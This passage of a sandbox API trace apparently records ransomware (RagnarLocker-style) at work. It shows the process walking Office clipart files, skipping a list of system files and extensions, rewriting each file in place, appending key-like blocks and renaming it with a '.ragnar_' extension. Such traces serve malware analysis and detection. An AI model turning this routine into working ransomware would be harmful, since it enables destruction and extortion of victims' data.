(in: hFile=0xf4, liDistanceToMove=0xec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.455] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.455] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.455] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.455] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.456] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.456] GetProcessHeap () returned 0x580000 [0080.456] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.456] CloseHandle (hObject=0xf4) returned 1 [0080.456] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" [0080.456] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.ragnar_FD7BD9FC" [0080.456] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.457] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1 [0080.457] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.457] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00274_.WMF" | out: lpString1="BL00274_.WMF") returned="BL00274_.WMF" [0080.457] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned=".WMF" [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="autorun.inf") returned 1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="boot.ini") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="bootfont.bin") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="bootsect.bak") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="bootmgr") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="bootmgr.efi") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="desktop.ini") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="iconcache.db") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="ntldr") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="ntuser.dat") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="ntuser.ini") returned -1 [0080.457] lstrcmpiW (lpString1="BL00274_.WMF", lpString2="thumbs.db") returned -1 [0080.457] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.458] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.458] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.458] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.458] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.458] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.458] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20 [0080.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.458] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4164) returned 1 [0080.458] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x103b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.458] GetProcessHeap () returned 0x580000 [0080.458] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.458] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.461] VirtualAlloc (lpAddress=0x0, dwSize=0x1044, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.461] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.461] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.461] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1044, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1044, lpOverlapped=0x0) returned 1 [0080.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.462] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1044, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.462] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1044, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1044, lpOverlapped=0x0) returned 1 [0080.462] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1044, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.462] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.463] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.463] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.463] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.463] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.463] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.463] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.463] GetProcessHeap () returned 0x580000 [0080.463] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.463] CloseHandle (hObject=0xf4) returned 1 [0080.463] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" [0080.463] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.ragnar_FD7BD9FC" [0080.464] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.464] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1 [0080.464] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.464] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00296_.WMF" | out: lpString1="BL00296_.WMF") returned="BL00296_.WMF" [0080.464] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned=".WMF" [0080.464] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.464] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="autorun.inf") returned 1 [0080.464] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="boot.ini") returned -1 [0080.464] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="bootfont.bin") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="bootsect.bak") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="bootmgr") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="bootmgr.efi") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="desktop.ini") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="iconcache.db") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="ntldr") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="ntuser.dat") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="ntuser.ini") returned -1 [0080.465] lstrcmpiW (lpString1="BL00296_.WMF", lpString2="thumbs.db") returned -1 [0080.465] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.465] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.465] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.465] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.465] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.465] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.465] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0080.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.465] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=812) returned 1 [0080.466] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x323, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.466] GetProcessHeap () returned 0x580000 [0080.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.466] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.467] VirtualAlloc (lpAddress=0x0, dwSize=0x32c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.468] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x32c, lpOverlapped=0x0) returned 1 [0080.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.468] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.468] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x32c, lpOverlapped=0x0) returned 1 [0080.468] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.468] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.468] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.468] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.468] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.469] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.469] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.469] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.469] GetProcessHeap () returned 0x580000 [0080.469] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.469] CloseHandle (hObject=0xf4) returned 1 [0080.469] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" [0080.469] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.ragnar_FD7BD9FC" [0080.469] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.470] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1 [0080.470] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.470] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00390_.WMF" | out: lpString1="BL00390_.WMF") returned="BL00390_.WMF" [0080.470] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned=".WMF" [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="autorun.inf") returned 1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="boot.ini") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="bootfont.bin") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="bootsect.bak") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="bootmgr") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="bootmgr.efi") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="desktop.ini") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="iconcache.db") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="ntldr") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="ntuser.dat") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="ntuser.ini") returned -1 [0080.470] lstrcmpiW (lpString1="BL00390_.WMF", lpString2="thumbs.db") returned -1 [0080.470] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.470] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.470] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.470] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.470] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.470] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.470] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0080.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.471] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13102) returned 1 [0080.471] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3325, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.471] GetProcessHeap () returned 0x580000 [0080.471] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.471] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.473] VirtualAlloc (lpAddress=0x0, dwSize=0x332e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.473] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.473] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x332e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x332e, lpOverlapped=0x0) returned 1 [0080.474] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.474] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x332e, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.474] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x332e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x332e, lpOverlapped=0x0) returned 1 [0080.475] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x332e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.475] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.475] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x332e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.475] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.475] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.475] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.475] WriteFile (in: hFile=0xf4, 